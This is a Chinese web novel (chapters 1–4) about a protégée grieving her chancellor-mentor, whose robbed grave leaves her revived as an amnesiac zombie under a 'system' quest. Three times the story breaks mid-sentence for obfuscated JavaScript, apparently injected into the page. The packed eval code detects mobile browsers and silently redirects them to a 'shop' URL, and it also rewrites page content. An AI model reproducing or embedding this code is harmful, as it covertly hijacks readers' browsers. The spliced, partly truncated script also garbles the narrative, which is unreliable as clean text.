《死后成了反派黑月光》 1. 掘墓 “轰隆!” 深夜,安湘城的上空电闪雷鸣,不一会就下起了倾盆大雨,雨水打在泥地中溅起了浓郁的土腥味。 就在如此恶劣的环境中,仍然有三个盗墓贼顶着暴雨和惊雷在安湘城外的山上挖人家的坟。 这是三个被赌债逼到走投无路的亡命之徒,传闻安湘城外的这座山上葬着一个大官,她死时陪葬了不少金银珠宝,每天都有官差在附近巡逻,若非这场暴雨,三个盗墓贼还没有动手的机会。 很快棺材就露出来,盗墓贼将钉棺材盖的钉子撬了出来,暴雨砸在棺材上传来噼里啪啦的声响,然而渐渐的,一道怪异的声音在雨声中若隐若现地响起。 “老大,你听这是什么声音?”刚准备一起开棺木的矮胖盗墓贼忽然停下的动作,他屏息凝神,示意其他两个人跟自己一起听。 “咚咚、咚咚咚……” “咚咚咚!” 那是敲击木板的声音,而声响的来源正是他们即将打开的这个棺木。 而这口棺木已经在地下埋了许多年,里面的人早就应该化为了白骨! “鬼啊!!!” 凄厉的声音回荡在山上,本就做贼心虚的三道身影连滚带爬地冲下山。 孤零零暴露在暴雨中的棺木安静了一会,随后伴随着一阵让人毛骨悚然的咯吱声,棺盖挪开了一道小缝。 “轰隆!”又一道惨白的雷光划过,震耳欲聋的轰鸣似乎将山上的一些碎石都震了下来。 风雨似乎又变大了,不出片刻的功夫,就有许多雨水顺着那敞开的缝隙进入棺材里。 “鬼”又默默地将棺材板盖严实了。 这场暴雨持续了整整一夜,直到第二天天将亮的时候,风雨才停歇下来。 负责在墓边巡逻的官差照常上山,这份清闲的差事七年如一日,所有人都懈怠了下来,因此雨夜无人留守。 谁曾想只是这一夜的功夫,守了七年的坟被人刨开了!棺盖被打开,里面的尸体不翼而飞,周围有野兽的脚印,也不知尸体是不是被哪个畜生叼走了! 天才刚刚微亮,这个噩耗就传遍了安湘城,知府听完后差点晕了过去,最后他撑着半口气带人冲到山上想要将那里封锁起来,不让消息透露出去。 可惜当他跑上山的时候,那边已经有人了,知府认识对方,那是陛下的眼线,她来这里就意味着事情瞒不住了。 他知道自己完了,肥胖的身躯往地上一瘫,几个人都没能把他搀扶起来。 这里的墓非常特殊,别看修的简单,但是里面躺着的人却是当今陛下的恩师,前丞相黎栎笙,当年这位黎相为了保护陛下被逆王乱党所害,陛下痛哭数日,亲自为恩师扶棺葬于此地,陛下离开前留下旨意,安湘历任知府皆需看护此墓。 如果这件事情传到京中,陛下必会龙颜震怒。 那些早一步到达墓前的人群中央,有一位身着墨青衣衫的女子,在暗沉天色的映衬下,她衣摆的鎏金云纹也失去了光泽,恰如女子本人那般肃穆阴沉。 她手里拿着一串佛珠,每碾过一颗佛珠时她似乎都用了极大的力气去克制,以至于佛珠间发出了“吱呀”的哀鸣。 眼前的景象有些凄惨,棺盖被扔在一边,因为刚刚又下了一场小雨,棺材里面混入了许多泥水,陪葬品不翼而飞,最关键的是尸体不见了。 泥泞的土地上还有一些新鲜的野兽脚痕,老虎、狼之类的野兽都有,所以也不知道尸体是被盗墓贼扔掉了,还是被那些饿急了眼的野兽拖走了。 没人敢说话,甚至脚步声都放得极轻。 闻釉崖盯着狼藉的棺材,不知何时,神情有些涣散的眼眸中已经攀上了血丝,暴雨毁掉了大部分脚印和拖拽痕迹,这么多人查到现在一点头绪都没有。 谁能想到呢,曾经权势滔天、那样惊艳绝伦的人在死后连尸骨都遭野兽分食。 是报应吗? 是报应,是她利用自己的报应。 “家主,我们的人将附近都搜了一遍,但仍然没有找到黎相的尸身……”来汇报的人战战兢兢,声音都格外小,也不知道闻釉崖听没听到。 “只在不远处看到了这个,可能是盗墓落下的。”下属恭敬地双手呈上一块脏兮兮的物件。 闻釉崖那布满血丝的眸子终于动了动,随后视线落在了那沾着泥土的长命银锁上。 她接过来后用指尖一遍一遍摩挲着长命锁的表面,将上面的脏污擦去了一些,露出下面的花纹。 这是她们相见的第一年,黎栎笙让工匠为自己打造的礼物,但它早就丢了,却没想到出现在了这里,让人看着就觉得极其讽刺。 闻釉崖仿佛还能听见那个人将这块长命锁赠给自己时温柔的话语,伴着除夕的烟火与喧闹,她道:“我的釉崖,你要平平安安,长命百岁。” 可她也是用这样温柔的语调,送自己去死。 世人皆知当今女帝登基前险象环生,逆王动用了所有手段想要杀她,最后是黎栎笙以命相救,女帝才能活着登基。 但世人不知,黎相可没打算死,她早就算计好了,本该替死的是一把她亲手打磨锋利的刀,可是黎栎笙聪明反被聪明误,踏入了逆王的陷阱,这才落了身死的下场。 闻釉崖知道自己被送去替死时,曾想过无数种报复的手段,只要自己能活着回来,一定会让那位高高在上的黎相付出代价,可是黎栎笙死了…… 她静静地躺在血泊中,看向自己的最后一眼中含着似有若无的泪光。 闻釉崖记了整整七年,她逼迫自己忘记,可看到这被人破坏的棺木后她又想到了黎栎笙身死的那个雨夜,闻釉崖只觉得自己的额角一抽一抽的疼,不得不扶着墓碑才能站稳。 “黎栎笙,你一辈子机关算尽,可曾算到过自己死后会遭野兽啃食,尸骨无存吗?”她的声音里透着恨意与凄凉,扶着墓碑的手用力收紧,泛白的指节下渗出了殷红的血。 天上又落下了雨珠,雨水冷的厉害,透着森森寒意,就像刀子刮过骨头,让她消瘦的肩膀微微颤抖。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168987|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >下属为她撑起了伞,可是被风刮起的雨还是浸湿了她的衣摆。 在没有任何人发出声音的压抑搜寻中,后方忽然传来了一道焦急的汇报声。 “家主!陛下派人来了,请您回去一趟!” 如同枯木般伫立在那里的人终于动了动,她微垂的眼尾带着浓郁的暮气,似是无法归林的倦鸟,闻釉崖松开扶着墓碑的手,任由鲜血从指尖滑落。 “走吧。”闻釉崖失了血色的唇微动,声音越发沙哑,不过语气还算平稳,“其他人继续找,把她的尸骨找出来……给陛下一个交代。” 她转身朝山下走去,有些踉跄的步伐间似乎未有留恋。 为她打伞的郑筱赶忙快步跟上,雨越发大了,而且下山的路不好走,一夜的暴雨让泥泞的地非常湿滑。 郑筱劝闻釉崖走慢一些,但是对方似乎没有听到自己的声音,她小心翼翼地打量着家主的脸色,早上噩耗传来的时候,家里知道当年那些事情的人都害怕她会承受不住。 但万幸的是,或许因为过去了那么多年,家主想开了吧,她接到消息之后一直冷静地安排人手处理所有事情,到现在为止都没有像当年那样崩溃的预兆。 可不知为什么,郑筱心中总有些不安。 “叮铃……”在幽寂的山间,不知是何方道士摇起了招魂铃,铃铃作响的声音听着既应景又渗人。 郑筱只觉得山里莫名多了一丝连内力都抵御不了的阴冷,而当她们走下山的时候,远处若隐若现地传来哀戚的哭声。 闻釉崖的步伐慢了下来,郑筱隐隐感觉不好,此时她再想劝家主快一些回去已经来不及了。 闻釉崖朝那招魂铃响起的方向走去,随着她们渐渐靠近,哭声中夹杂的说话声也清晰起来。 “唉,真惨啊,昨夜的雨太大,让吴家好好的坟塌了,万幸吴老大的尸骨没有被野兽叼走,不然可就真作孽了。” “是哟,要是尸身不全,死的人就要变成孤魂野鬼,永世不得超生了啊,就算下了地府都得遭鬼欺负,还好吴家人发现的早……” 道士在念着往生经,繁涩拗口的经文让闻釉崖一点一点想起被她刻意遗忘的、小时候经常听老人们提起的传闻。 留不下全尸的人会变成孤魂野鬼,永世不得超生,就像山上那个尸骨无存的人。 她脑海中那根紧绷的弦忽然断了。 闻釉崖踏出的步伐开始有些晃,不知为何,她感觉自己好像踩在了棉花上,有些力不从心,耳畔也开始传来嗡嗡作响的耳鸣声,将那些人叹息的声音盖了过去。 没走出几步,她早已麻木的心脏中忽然传来越来越强烈的痛楚,闻釉崖感觉自己口中似有液体涌了出来,她低头一看,地上有了许多血迹。 “家主!!!” 悄然出现的暗卫立刻接住了她倒下的身体。 闻釉崖的视野已然黑了下去,在最后的意识中,下属焦急的呼唤声似乎远在天边,只有耳畔不祥的雨声愈发大了起来,就好似黎栎笙死去的那一晚。 2. 梦魇 黎栎笙死后,雨夜就成了闻釉崖这辈子挥之不去的梦魇。 耳边的雨声越发清晰,似乎裹挟着闻釉崖的意识回到了她想要遗忘的过往,那些事情如同走马灯般在她的脑海中划过,闻釉崖不知道自己是真的要死了,还是在陷入了梦中。 她年幼时,在位的先帝是一个只知修道炼丹的昏庸之主,朝堂之上贪官横行,地方上横征暴敛,那一年恰逢蝗灾,她的家乡饿殍遍野,为了活命,她的父母被迫带着家里的几个孩子开始了逃荒之路。 原本她的父母打算投奔远在外地的亲戚,可九死一生逃到亲戚家的村庄后却发现这里遭遇了旱灾,那户亲戚早就搬离,不知道是不是也去逃荒了。 那时候自己一家已经饿了好几天,村子附近的树皮都被快要饿死的百姓扒了干净,眼看着一家人就要饿死在这里,不远处的城镇传来了好消息,说朝廷的赈灾粮下来了,当地官员正在施粥赈灾。 父母听到这个好消息后立刻带着快要饿死的几个孩子赶到了那个城,那边的官员确实在施粥,只不过那粥里的米没有几粒,大部分都是沙子。 在当时那种环境下,丧良心的官员并不少见,可是百姓无处能讨公道,想要活下去就得另谋生路。 那年的年成不好,天灾人祸太多,到处都是逃荒的灾民,也不知道是谁在灾民中流传出了这样一句话,皇帝所在的京城是整个燕国最繁华的地方,那里有许多富商大官,从人家后门倒出来的泔水都足够他们这些灾民活命。 抱着这样的希望,闻家一家开始往京城走,但是他们不知道这条路有多难多远,家人一个个或饿死或病死在路上,等好不容易到了京城,那边却关上城门禁止灾民进入。 闻釉崖走到这个地方的时候已是孤身一人,小小年纪的她还来不及抱着父母的尸体痛哭,就被同行的好心妇人拽着往京城的城门走,灾民那么多,晚一步都可能抢不到吃的,却没想到官员们为了防止灾民的事情闹到皇帝那,不仅关了门还直接动用军队驱逐。 几岁大的孩子在兵荒马乱中和那位好心的妇人走散,她不知道城内发生了什么,只知道灾民们在逃命,自己也得逃。 但小小年纪的她分不清方向,既不知道自己跑到了哪里,也找不到父母尸身所在的地方,饥饿让她眼前发黑,更不幸的是那天同样下了一场大雨。 无助的她走着走着就倒在了一处破败的房屋边,她甚至没有力气爬进屋子里躲躲雨,只能任由冰冷的雨水打在身上,将她身体里的最后一丝温度带走。 但在她的意识开始模糊的时候,耳边却传来了铁器碰撞的声音。 她努力睁开眼想要求救,结果却看到了更加可怖的杀人现场。 一群黑衣人在雨中围着一个身穿蓑衣的人,黑衣人手中的剑与刀闪烁着寒光,而那个蓑衣人的手中只拿着一把青伞,这样看起来她似乎身处劣势。 可真打起来后,内行人才能发现那把伞中含着各种暗器,是一把确确实实的杀人利器! 不过片刻的功夫,蓑衣人就将所有敌人尽数杀死,鲜血染红了这条街。 随后蓑衣人的目光看向了倒在墙角的自己,小时候的她很害怕,怕这个蓑衣人会杀了自己。 但是现如今在这如同走马灯的记忆中,闻釉崖看着那逐渐靠近的身影,心目中只剩悲戚与恨。 蓑衣人的步伐越来越快,甚至带上了一丝急切,她那把用来杀人的青伞帮倒在地上的孩子遮住了雨,那略有一些薄茧的手擦去闻釉崖脸上的雨水。 “终于找到你了。” 闻釉崖听到了她的呢喃,小时候第一次见面时黎栎笙说过这句话吗?她已经不记得了,应该是没说过吧,毕竟就算黎栎笙再老谋深算,也不可能在见面之前就算到自己一个从乡下逃难过来的小孩有可用之处。 记忆中的黎栎笙解开了蓑衣将她抱在了怀里,毫不在意她身上的湿透了的脏衣服。 “釉崖……”黎栎笙的声音里带着一丝哭腔。 闻釉崖的指尖颤了颤,她第一次听到那个人哭泣的声音,心脏深处传来的疼痛感不受控制地扰乱她的恨意。 她抬起头,想看清那张让自己又爱又恨的脸,可在看清那张脸的瞬间,闻釉崖的神情骤然怔愣住。 曾经的美人如今只剩下枯骨,可闻釉崖没有任何害怕的情绪,她甚至颤抖着手抚上枯骨。 黎栎笙已经死了,坟被人刨开,现如今尸骨无存甚至可能会变成孤魂野鬼,所以她终于来找自己了? “釉崖,我好疼,山里好黑啊,到处都是野兽……”枯骨凄哀的哭声让闻釉崖只感觉自己喉间泛涌着血腥味。 闻釉崖本以为自己能够讥讽黎栎笙活该,当初她如果没有把自己送去替死,那么留在黎栎笙身边的自己拼了这条命也不会让她受伤,所以如今的一切都是她自找的。 可真当她的孤魂入梦,听着她抱着自己说疼,闻釉崖的双唇颤抖着,终究只用嘶哑的声音问:“你在哪?告诉我,我去把你的尸体找回来。” 但哭声未散,怀中的枯骨却像失了力气般滑落。 “黎栎笙!”闻釉崖慌了神,她试图抱紧枯骨,却一下子扑了空。 再睁眼,入目是熟悉的卧房,怀中那冰冷的枯骨消失不见,只余心口留下像是被剜出一个空洞的痛意。 在她的卧房中,一个衣着朴素的女子抱着剑靠在墙边守了许久,听到床边有动静,她这才睁开眼睛,那眼底一闪而逝的锋芒预示着她绝不是一个普通人。 “闻釉崖,好久不见,陛下这次命我前来……”乌宵月刚准备转述皇帝的旨意,结果就见那消瘦的身影趴在床边呕出了一口血。 她们很多年没见过面了,乌宵月没想到再次相见,闻釉崖会是这么一副病得快死的模样。 乌宵月的神情凝重起来,她立刻对外面守着的人道:“府医在哪!” 大夫根本不敢走远,就留在隔壁开药方,听到声音后立刻赶了过来,屋内一阵兵荒马乱,郑筱用手帕擦拭闻釉崖嘴角的血,看起来都快哭了。 闻釉崖在缓过来一口气后顾不上乌宵月在场,直接让自己的影卫出来回话。 “找到她了吗?”闻釉崖的脸色白到几乎透明,黎栎笙在梦中的哭声仿佛还回荡在她的耳畔。 “属下无能,暴雨之后很多痕迹被冲刷掉了,正常来说那位大人的尸骨对盗墓贼无用,只可能是被野兽拖走的,但山里太大野兽又多,不好分辨……” 郑筱真的要被那木头回话气哭了,家主才刚醒,这时候怎么能说这种实话?! “一群废物!” 家主果然生气了! 除了乌宵月之外的所有人都噤若寒蝉,闻釉崖拂开大夫想要为自己施针的手,勉强撑着身体想要坐起身,看样子是想亲自去找。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168988|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的下属们不好强行阻拦,幸好这里还有一个能说得上话的乌宵月。 乌宵月上前两步将人按在了床上,“黎相的事情交给我去找吧,外面下着大雨,你现在这样子去了也只能添乱。” 闻釉崖的脸色白得吓人,冷汗一滴滴从额头滑落,碎发紧贴在脸颊上,她撑在床上的胳膊都有些微微颤抖。 就连乌宵月都露出了一丝怜悯的神情,“放心吧,我就算把山上那些野兽的肚子全部剖开,也会把黎相的尸身寻回来的,不然我也没办法回去向陛下交代。” 乌宵月是昭武卫的禁军副指挥使,手中掌握着皇帝的暗枢司,专门负责替皇帝处理一些不好见光的事情。 她此次前来肯定不是孤身一人,要是她和暗枢司都找不到黎栎笙的尸体,那其他人就更别想找到了。 “有劳。”闻釉崖的声音中透着难以掩饰的虚弱。 乌宵月在那儿纠结了好一会后才道:“那你好好休息,我先带着人去山上找。” “等等。”闻釉崖喊住了她,那双带着些许血丝的双眸沉沉地与乌宵月对视。 “陛下多年没有旨意过来,这次是有什么事情想让我去做吗?”闻釉崖对帮女帝没什么兴趣,但乌宵月似乎不打算继续说的态度引起了她的怀疑。 “你身体都这样了,就先好好休息吧,陛下嘱咐的事情可以让别人去办。”乌宵月看出闻釉崖不但没能从黎栎笙的事情中走出来反而越陷越深,按照陛下的叮嘱,这件事情要换人去做。 “和黎栎笙有关系?”闻釉崖几乎一眼就看穿了她想要藏起来的隐情。 乌宵月沉默片刻后叹了口气,她知道瞒不住了,一旦开了个头,闻釉崖的势力也很快能查到她想要的答案。 “不久之前,陛下接到密报,有人在安湘城附近查到了一支秘密军队,这里离端王、赵王、庆王的领地都很近,不知哪位有谋反的心思,其次……”乌宵月顿了顿,对闻釉崖来说,她接下来的这句话或许才是最重要的。 “当年逆王杀害黎相时,这支队伍曾在附近出现过,黎相之死……或许另有隐情。” “但是对方非常警惕,暗枢司的人皆无功而返,陛下希望你能帮忙调动附近的势力查一下线索。” 乌宵月说罢还给府医使了个眼色,示意她随时准备稳住闻釉崖的身体状况,府医也在严阵以待。 黎相死后,闻釉崖接手了她在江湖上的势力,并拒绝了陛下邀她入朝为官的提议,这些年在闻釉崖的经营下,归月山庄比以前更深不可测,那三王的封地又正好在归月山庄的势力范围内,暗枢司查不到的事情或许可以让这位试试。 只是她没想到会遇到这样的乱子,让闻釉崖的身体一下子就垮了,她真怕对方受不住出什么意外。 乌宵月担忧的场景并没有出现,但坏消息是情况似乎更加糟糕了。 只见那沉默良久的人双肩微微耸动,最后竟发出让旁人心中发寒的沙哑笑声,“原来还有漏网之鱼,仇人还活着,尸身又不知所踪,难怪她会回来找我。” 她的话音落下,所有人都不禁打了个寒颤,背后好像有阴风吹过。 就连见惯了大场面的乌宵月都感觉头皮一阵发麻,黎相回来找她了?那不就是鬼……不、应该只是接连发生的事情对闻釉崖的打击太大了。 相比于冤魂归来,乌宵月更相信是闻釉崖快疯了。 3. 失忆 外面的雨又下大了,但是山间搜寻的队伍不敢有丝毫懈怠。 他们一寸一寸地搜索可疑的痕迹,而山洞里某个可疑的人抱着自己的湿衣服有些忐忑不安。 “那个……在我脑袋里说话的那位,你还在吗?” 回答那个女人的是一片寂静,看来是不在了。 她叹了口气,此时山洞外灌进了一股冷风,冻得她打了好几个喷嚏。 奇怪,僵尸也会冻感冒吗? 女人靠在硌人的石壁上看向洞外磅礴的大雨,水珠从她苍白的脸颊滑落,随后落入领口深处。 山洞内非常昏暗,只有几缕光透过藤蔓照射进来,落入那温柔的杏眼中,只是那微弱的光无法穿透她眼底如雾般的迷茫。 除了脸色有些苍白外,女人看似和常人无异,但仔细看去就能发现她的胸口没有起伏。 她没有呼吸,也没有心跳,她甚至不记得前尘往事,就连黎栎笙这个名字都是她刚刚才想起来的。 黎栎笙只觉得自己好像睡了很久很久,直到被外面咚咚的敲击声吵醒,一醒来她就发现自己被困在了一个狭小封闭的地方,黎栎笙正想向外面的人求助,结果她刚敲了敲木板,外面就传来了仿佛杀猪一样的惨叫声。 幸好那三个盗墓贼在逃跑之前帮她把棺材上的钉子撬开了,不然她还不知道该怎么出来。 但当时的雨太大了,黎栎笙不得不在棺材里又躲了一阵,直到雨停她才从里面爬出来。 那时候天边才刚刚浮现一抹白光,树林间万籁俱寂,连鸟叫虫鸣声都没有,她站在自己的棺材旁,脑海中一片空白。 她不知道自己是谁,不知道自己的过去,也不知道自己为什么会死,又为什么能再次苏醒。 黎栎笙站在棺材边踌躇了许久,她不知道离开棺材的自己能去哪里。 好在她看到自己那一身华贵的殓服以及价值连城的陪葬品后,认知中关于金钱的部分逐渐复苏,出门在外,不管买什么东西都要钱,没有钱寸步难行,而这些陪葬品可以换很多很多钱,刚刚那三个人来撬自己棺材的应该就是盗墓贼,他们也是冲自己的陪葬品来的。 想到这一点后,黎栎笙立刻将自己的陪葬品全部打包起来,自己想要在外面安身立命少不了这些东西的帮助,可不能便宜了外人。 整理陪葬品的时候,她发现了一枚看似最不值钱的银质长命锁,这个东西应该换不了多少钱,但不知道为什么,黎栎笙看到这枚长命锁时,她的心中莫名升起了一丝悲伤的情绪。 【叮咚!】 就在黎栎笙握着长命锁发呆的时候,她的脑海中竟出现了一道电子音。 黎栎笙被吓了一跳,或许是生前的习惯吧,她越慌张就会表现得越冷静,她紧紧地攥着长命锁扫视四周,发现什么东西都没有。 【可终于联系到你了,醒过来的感觉怎么样?你做了那么多任务,还是第一次当僵尸吧?哼,我都不知道该说你什么好。】 【算了,时间紧迫,我长话短说。】 【看在共事那么多年的份上,我给你申请了一个复活的机会,只要反派的黑化值清零你就能活,不然一年后你就继续躺棺材板吧!】 那道声音没有恶意,好像是从自己脑袋里冒出来的,甚至还让自己感到熟悉,黎栎笙渐渐放松下来,对于那道声音,她的思绪中甚至蹦出来两个字——傲娇。 【因为你之前任务失败,我已经和你解绑了,主神给我分配了新的宿主,现在没办法帮你,主神对你改了祂老人家的剧本非常不满意,我虽然帮你争取到了任务,但祂不许任何系统来帮你,只给你留了一个检测程序,反派黑化值波动的时候会给你提示。】 【接下来你只能自己加油了,不过像我这样完美的系统毕竟是少数,别的系统来了也只能拖你后腿,还不如你自己来。】 【在你死后,反派虽然没有对主角动手,但是她的黑化值飙升到了一个非常危险的临界点,你好好想想怎么处理吧,就这样,希望下一次还能看到活蹦乱跳的你。】 脑海中的声音叭叭说个不停,根本不给黎栎笙说话的机会,它走得也干脆利落,可能真有什么急事吧,所以也没听到黎栎笙茫然的询问。 “请问你是哪位?系统是什么?你说的反派和黑化值又是什么?”黎栎笙还有许多问题想问,比如说自己是谁,自己死前发生了什么……但唯一能为自己解惑的声音消失无踪。 她摸了一下自己的心口,心脏果然没有跳动,所以自己现在就像对方说的那样是一个僵尸,而非活人。 黎栎笙将刚刚那个系统说的话总结了一下,自己现在能苏醒状态只是暂时的,而且只有一年的时间,如果不能找到对方口中的反派,并且将什么黑化值降低,那么一年之后自己就会真正死去。 而如果成功了,那自己就能变成活人? 反派、黑化值……黎栎笙也感觉这些词非常熟悉,她雾蒙蒙的脑海中隐隐有相关认知出现,就在她忍着头痛仔细回想时,远处忽然传来了凌乱且密集的脚步声。 如果自己是僵尸的事情被普通人发现会怎么样?在紧急情况下,黎栎笙的反应比刚刚快了一点,脑海接连冒出了她想要的答案。 那些人大概会找道士用桃木剑把她钉树上,撒点糯米黑狗血,再把自己一把火烧了。 意识到后果严重,黎栎笙立刻抱着自己的陪葬品往山林深处躲去,只是没想到在慌乱之间,被她放在陪葬品最上面的长命锁不小心滑落到地上。 变成僵尸之后,虽然黎栎笙的脑袋一时有些不大灵光,但身体的灵活度和感知力都超乎寻常的高,她在山林中穿梭着,没一会的功夫就在某个狭隙间找到了隐蔽的山洞。 她用旁边的草木藤蔓做了遮掩,确定没人能发现后,黎栎笙就藏进了山洞里。 那时搜寻的队伍还没有到这边,黎栎笙所在的地方还算安全,于是她开始在山洞里清点自己的家当,自己的陪葬品都是一些金银玉器,拿着比较方便,但她点着点着,就发现长命锁不见了。 那是一块不怎么值钱的长命锁,丢了也就丢了,但不知道为什么,黎栎笙总觉得不会跳的心脏里有种空落落的感觉。 于是她做了一个冒险的决定,在确定外面没有人后黎栎笙鬼鬼祟祟地原路返回,看看路上有没有自己遗落的长命锁,可惜她去晚了一步,自己遗落的长命锁被一个陌生人捡走了,黎栎笙只能哀怨地躲在石头后面盯着对方。 她想过把长命锁偷回来,不、那本来就是自己的陪葬品,怎么能叫偷呢?那应该叫拿回来,可是那边的人太多了,自己出去肯定会暴露。 黎栎笙微微敛眸,这具身体的一些本能还在,她可以轻松感知到这个地方至少有上百号人在把守,其中有不少内力深厚的人,暴露就麻烦了。 就在她犹豫的时候,那群人的搜寻范围不断扩大,天空中又下起了雨,黎栎笙不得不重新返回山洞,但因为雨下得太急,她回到山洞的时候已经湿透了。 黎栎笙只能等这场雨停了之后再出去,她望着灰蒙蒙的天空,努力回忆自己的过去,许久之后她才想起自己的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168989|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,紧接着一些常识认知也慢慢浮现在她的脑海中。 只可惜她努力回忆到现在,也没有想起关于过去的丝毫线索,对那反派的身份更是一无所知。 黎栎笙又重重地叹了口气,看来只能等离开这个地方后去人群中碰碰运气了。 这场雨又下了整整一天,外面偶尔会有搜查的人路过,但是都没有发现这边的山洞,没过多久,外面只剩下淅淅沥沥的雨声,黎栎笙靠在山洞里不知不觉间睡着了,迷迷糊糊间,她好似听到一道熟悉的声音,哀戚地喊着:“姐姐。” 黎栎笙骤然惊醒,那声音中的悲伤让她感觉头痛欲裂。 “嘶……”黎栎笙捂着额头缓了好一会才看向洞外,雨停了,天才蒙蒙亮,现在应该是外面那群搜寻队伍最疲倦的时候,适合自己绕开他们去往山下。 黎栎笙打包好自己的陪葬品离开山洞,果然那群人还在搜查,也不知道他们在查什么,大晚上顶着大雨都不能停,有点可怜。 黎栎笙选了一条人最少的方向下山,她以为这一边会比较安全,却没想到碰到了一个持剑的女子。 她一看见对方,心中就判定对方实力不俗,自己不能乱动。 可是那个持剑女子忽然停住了脚步,她微微蹙起眉在空气中嗅了嗅,然后竟然朝黎栎笙所在的方向走过来了! 她是狗鼻子吗?! 眼看着黎栎笙可能藏不住了,万幸在这个时候,远处忽然传来的一声呼喊:“这里有三具可疑的尸体!” 持剑女子脚步一顿,然后立刻朝着传来呼喊声的方向走去。 黎栎笙松了口气,然后趁此机会赶紧下山。 只是刚刚到山脚下,她路过了几家农户,若是有人出门,他们都会用一脸诧异惊恐的目光瞧着自己。 黎栎笙这才意识到在天半黑半亮的时候,一个披头散发浑身湿透、还穿着殓服的人在外面溜达有多吓人。 万幸,她碰到了一个不怕自己的小孩子,黎栎笙用自己的素银簪子和小孩换了一套家中长辈的衣服,她在河边将自己收拾了一下,确定水面倒影中的自己看起来像个活人后才看向不远处的那个城。 她的脑海中没有浮现相关的记忆,但是却对脚下的路有一种莫名的熟悉感,就好似曾经走过很多遍,所以这一路上她没有向任何人打听过,却能不由自主地走到这座安湘城前。 但是黎栎笙遇到了一个颇为棘手的情况,只见不远处的城门口有许多官差,他们一个一个盘查来往的行人,气氛非常严肃凝重,似乎在查什么可疑人士。 见状黎栎笙站在不远处没有靠近,自己身份不明,也没有记忆,要是被当成可疑人士抓起来就不好了。 要是想进去的话,恐怕得换个时间换个方法。 不过…… 黎栎笙忽然想到了一个挺重要的问题,也不知道自己死了多久,既然自己对这个地方那么熟悉,那她活着的时候应该在这里待过,万一进去碰到认识自己的人,还不得把对方吓死? 到时候如果引起了恐慌,她会被道士们追杀吗? 黎栎笙只是觉得自己的前路有些渺茫,算了,反正现在也进不去,不如先想一想如果遇到了那样的情况,该如何应对吧。 她转过身准备先寻一个安全能歇脚的地方待着,谁曾想她还没有走远,身后就传来了急促的脚步声。 黎栎笙有些警惕地向后看去,结果她还没看清对方的脸,手腕处就传来了一道大力将她扯得往后一趔趄。 她没有站稳,就这样跌倒在对方的怀里。 4. 相遇 又一个晚上过去了,可山上依旧没有任何消息传过来。 闻釉崖点着灯枯坐了一晚,她盯着烛泪一滴一滴从蜡烛上滚落,直至火苗熄灭,天边泛起了光。 她又披上了衣服,在没有惊动任何人的情况下离开了府邸。 下了两天的雨,天色终于开始放晴,一缕缕阳光照下,似乎洗清了几日的阴霾,周围来往的百姓间掺杂着不少欢声笑语,唯独那道墨青色的身影与周围格格不入。 闻釉崖明白,以乌宵月的能力,一个下午加一个晚上的时间都够她把山上所有野兽的肚子剖开检查,可至今没有任何消息传过来,就预示着情况可能会很棘手。 结合她替女帝传来的口信来看,闻釉崖不得不往最坏的方向去想,所谓盗墓贼可能只是个幌子,真正藏在这件事情背后的或许是逆王党羽,又或是藏在逆王背后的人,他们最恨黎栎笙,借此机会将她的尸身挫骨扬灰也不是没有可能。 若是挫骨扬灰,就算乌宵月有天大的本事也不可能将那人的尸身找回来。 呵…… 闻釉崖眼底的阴霾将她自己都没有意识到的凄然神情遮掩。 若真是这样,那自己也无能为力,她已经尽力找了,就当全了黎栎笙收养自己的恩情。 这么多年过去了,她又何必为那个女人劳心伤神,她……只是去看看,去给女帝一个交代,那人毕竟女帝的恩师,如果不处理好,帝王之怒难免会影响到自己这边。 对,就是这样。 闻釉崖在心中呢喃着,仿佛只要这样重复一遍又一遍,心中的空洞就能被填满。 不远处的馄饨摊子上,一个看起来十岁出头的小姑娘往那儿一坐,高声对老板道:“来一碗馄饨!” 老板应了一声,很快就将她的馄饨端了上来。 小姑娘喝了一口汤,舒服地呼出一口气,这两天府中的气氛格外压抑,她都快喘不过气了,今天早上姐姐和其他人应该都去了那边的山上,她这才偷偷溜出来缓口气。 “烫烫烫!”她咬开了一个皮薄肉多像云朵一样的馄饨,结果被烫得嗷嗷直叫。 小姑娘吐出舌头扇了扇风,想要等馄饨凉一点再吃,结果她一抬头竟然发现了远处有一道熟悉的身影! “家主?!”那道单薄的身影分明是应该躺在床上休息的闻釉崖! 小姑娘看着她离去的方向,又发现她身旁身后都没有人跟着,她意识到可能要出事,于是馄饨也不吃了,赶忙跑回去联络留守府邸的人。 若放在平时,闻釉崖一定能听到那小姑娘脱口而出的“家主”二字,只不过她此时的心神早已不在此处,所以什么都没听到。 城门口的官差都认识闻釉崖,她来到城门口的时候,官差们都自动让出一条道来让她通过。 